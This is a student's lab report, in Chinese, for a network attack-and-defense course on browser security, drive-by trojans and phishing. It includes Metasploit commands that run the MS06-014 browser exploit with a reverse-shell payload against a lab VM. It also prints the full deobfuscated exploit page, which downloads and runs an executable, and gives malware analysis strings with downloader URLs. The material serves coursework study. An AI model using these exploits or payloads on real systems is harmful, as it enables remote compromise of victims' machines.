20199134 2019-2020-2 《网络攻防实践》第12周作业
20199134 赵兴波 《网络攻防实践》第12周作业
1.实践内容
1.1 web浏览器的技术发展与安全威胁
-
Web浏览器发展
-
第一次浏览器大战对阵双方是网景的Netscape浏览器与微软的IE浏览器,最终微软通过免费捆绑方式胜出。而Netscape在2008年正式宣布死亡。
-
第二次浏览器大战是IE与Firefox、Chrome、Safari等浏览器在PC伤的竞争,最终IE衰退,其他浏览器的所占市场上升。
-
第三次浏览器大战是移动终端上的浏览器之争,群雄争霸,如Safari、Chrome Lite、QQ、baidu等。
-
-
现代浏览器的技术结构
- 现代浏览器的基本结构如下图:
- 现代浏览器的基本结构如下图:
-
web浏览器软件的安全困境三要素
-
复杂性:现代Web浏览器需要支持多种类型的应用层协议浏览、符合一系列的页面标准规范,支持多种客户端执行环境,已经变得非常复杂和庞大。
-
可扩展性: 目前几乎所有的现代浏览器软件都支持第三方插件扩展机制, 但第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。
-
连通性:browsing anything at anytime in anywhere。
-
-
Web浏览安全威胁位置
-
针对传输网络的网络安全协议安全威胁
-
针对Web端系统平台的安全威胁
-
针对Web浏览器软件及插件程序的渗透攻击威胁
-
针对互联网用户的社会工程学攻击威胁
-
-
web浏览安全威胁类型
-
网络钓鱼(Phishing)
-
恶意木马与流氓软件下载
-
网页木马-浏览器渗透攻击
-
不良信息内容
-
1.2 web浏览端的渗透攻击威胁——网页木马
-
网页木马的机理分析
-
定义特性:网页木马本质上利用了web浏览器软件中所支持的客户端脚本执行能力,针对web浏览器软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。
-
网页木马攻击是被动的,需要诱使用户访问网页木马页面。
-
网页木马攻击流程如下图
-
网页木马的本质核心是利用Web浏览器端软件安全漏洞的渗透攻击代码。
-
-
网页挂马机制:
-
内嵌HTML标签:最常用的内嵌标签为iframe。
-
恶意script脚本:利用script标签通过跨站脚本包含网页木马
-
内嵌对象链接:利用图片、flash等内嵌对象中的特定方法来完成指定页面的加载。
-
ARP欺骗挂马:可以进行中间人攻击。
-
-
网页木马的检测与分析
-
基于特征码匹配的传统检测方法。
-
基于统计与机器学习的静态分析方法。
-
基于动态行为结果判定的检测分析方法。
-
基于模拟浏览器环境的动态分析检测方法。
-
-
网页木马防范措施
-
系统软件补丁自动更新。
-
反病毒软件的使用。
-
浏览器使用IE、Firefox等
-
Google安全建议。
-
1.3网络钓鱼
-
网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过发送欺骗性垃圾邮件,引诱收件人的个人敏感信息(如用户名、口令、帐号ID、PIN码或信用卡信息等)
-
技术策略
-
架设钓鱼网站如知名金融机构及商务网站。
-
发送大量欺骗性垃圾邮件。
-
诱骗因特网用户访问钓鱼网站并以敏感信息登录。
-
滥用个人敏感信息如资金转账、冒用身份等。
-
-
钓鱼攻击策略-欺骗的技巧
-
使用IP地址代替域名。
-
注册发音相近或形似DNS域名。
-
多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。
-
对链接URL进行编码和混淆。
-
攻击浏览器,隐藏消息内容的本质。
-
假冒钓鱼网站的透明性。
-
恶意软件安装浏览器助手工具。
-
修改本地DNS域名和IP地址映射hosts文件。
-
-
网站钓鱼防范措施
-
了解网站钓鱼安全威胁与技巧。
-
增强安全意识,提高警惕性。
-
使用安全软件。
-
2.实践过程
2.1 浏览器渗透攻击实践
-
环境
- 攻击机:Kali
IP地址:192.168.200.25
- 靶机:Win2kServer
IP地址:192.168.200.124
- 攻击机:Kali
-
任务:使用攻击机进行浏览器渗透攻击实践。
- 选择使用Metasploit中的
MS06-014
渗透攻击模块。 - 选择PAYLOAD为任意远程Shell连接。
- 设置LHOST参数,运行exploit,构造出恶意网页脚本。
- 在靶机环境中启动浏览器,访问恶意网页脚本URL。
- 查看建立起的远程控制会话SESSION。
- 选择使用Metasploit中的
-
实践过程
-
如之前的实践一样,使用
msfconsole
打开metasploit,然后使用search MS06-014
进行搜索,发现仅有一个可使用。
-
接下来使用
use exploit/windows/browser/ie_createobject
选择漏洞
-
设置靶机
set rhost 192.168.200.124
设置攻击机地址set lhost 192.168.200.25
设置payload:set payload windows/meterpreter/reverse_tcp
执行run
-
可以得到一个木马网址http://192.168.200.25:8080/6ACK16iNaY
-
在靶机中访问该地址,再回到攻击机中发现已经建立会话,攻击完成。
-
用sessions查看目前的连接,使用命令sessions -i 1选择会话1,返回meterpreter,使用ifconfig查看靶机IP。
-
2.2 网站挂马分析实践
-
任务:根据给出的说明逐步分析,得到最终的木马文件的内容。
-
说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者利用了那些系统漏洞?
- 解密后发现了多少个可执行文件?其作用是什么?
- 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
-
实践过程
-
给出的网址无法访问,根据实践参考进行分析、理解。
-
根据实践指导,访问start.html文件,可以得到new09.htm 文件。
-
在new09.htm文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件, 又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。 计算散列之后可以得到这两个文件内容。
-
分析kl.htm 文件,发现其通过XXTEA+Base64加密,(给出的XXTEA解密网址也无法访问)对其解密得到代码。
-
利用到的应用程序漏洞有 Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1和BaiduBar.Tool, 分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
-
并且此文件还引用三个js 文件(1.js、b.js、pps.js和一个 压缩包(bd.cab,解开后是 bd.exe)。
-
经过以上所作可以得到四个exe文件。发现这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行 MD5 散列计算得出结论,这四个文件内容完全相同。
-
根据以上,只需分析一个exe文件即可。此处选择pps.exe。
-
使用工具PEID打开pps.exe查看是否加壳,发现没有加壳。
-
用工具W32DAsm反汇编这个 exe 文件,参考—>串式参考,可以发现如下内容。得出结论:
-
这个程序可能生成一个叫
Alletdel.bat
的批处理文件,这个文件中有一个标签叫try, 批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日 期,删除某些文件(goto try,:try,Alletdel.bat,cmd /c date,cmd /c date 1981-01-12,del %0
等) -
这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序(:
\AutoRun.inf
,[AutoRun] open=
,AutoRun.inf
,shell\Auto\command=
) -
这个程序要对 IE、注册表、服务和系统文件动手脚(
advapi32.dll
,drivers/klif.sys
,\program files\internet explorer\IEXPLORE.EXE
,IE 执行保护
,IEXPLORE.EXE
,Software\Microsoft\Windows\CurrentVersion\Poli
等) -
这个程序有一定的防系统保护软件的能力( "瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行")
-
这个程序要下载一堆木马(一堆形如
http://down.18dd.net/kl/**.exe
的字符串, 共 20 个) -
对20个exe文件进行分析,以4.exe为例,先脱壳,然后查看字符串,用Total Uninstall监视运行4_unpacked.exe,大概就是生成了一些文件,如 kawdbaz.exe ,kawdbzy.dll,删除了 verclsid.exe和4_unpacked.exe,对注册表进行了操作,大概是加载了一个启动 DLL,另外把 Windows 的 自动更新功能给禁用了。打开dll可查看url。
-
2.3 Web浏览器渗透攻击对抗实验
-
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
-
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
使用实践一
ms06-014
的攻击,靶机可以右键查看源文件获取攻击页面的源代码。
-
在线工具https://www.sojson.com/jsjiemi.html, 反混淆和去掉js代码中的空格
< html > < head > < title >
< /title><script language="javascript">
function gWOSkQkBHBKSLJUiiJxSlJRLOgq(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}
catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}
catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}
catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}
catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}
catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}
catch(e){}}return(r)}
function YhS(a)
{var s=gWOSkQkBHBKSLJUiiJxSlJRLOgq(a,"WScript.Shell");
var o=gWOSkQkBHBKSLJUiiJxSlJRLOgq(a,"ADODB.Stream");
var e=s.Environment("Process");
var url=document.location+'/payload';
var xml=null;var bin=e.Item("TEMP")+"\\aSpVkXiUbCLe.exe";
var dat;try{xml=new XMLHttpRequest()}
catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}
catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}
if(!xml){return(0)}xml.open("GET",url,false);
xml.send(null);dat=xml.responseBody;
o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function qqtxLP()
{var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){
a=document.createElement("object");
a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}
else{try{a=new ActiveXObject(t[i])}catch(e){}}
if(a){try
{var b=gWOSkQkBHBKSLJUiiJxSlJRLOgq(a,"WScript.Shell");
if(b){YhS(a);return(0)}}
catch(e){}}i++}}
</script></head><body onload='qqtxLP()
'>aMopqtpCAZOqppDdRzLA</body></html>
- 从源码中可以看到,使用js调用了
document.location
加载了payload,并且下一行中后面跟了一个可执行文件aSpVkXiUbCLe.exe
;在攻击机上发现攻击机发送了一个exe文件给靶机。攻击过程应该就是靶机访问某网页,通过网页将exe可执行文件下载到靶机上,该执行文件可帮助攻击者获得靶机控制权。 - 源码中出现了很多字符串,对“BD96C556“进行搜索,发现是
MS06-014
漏洞
2.4 Web浏览器遭遇攻击、取证分析
- kali机上安装不上
chaosreader
,不知道怎么做了。
3.学习中遇到的问题及解决
- 问题1:浏览器渗透攻击实践时攻击机与靶机无法建立会话
- 问题1解决方案:ping一下,发现ping不通,打开蜜罐就好了。
- 问题2:kali机无法安装chaosreader
- 问题2解决方案:未解决
4.实践总结
本次实践真的好多内容,搞得头大,还搞不明白。唉😔……!焦头烂额。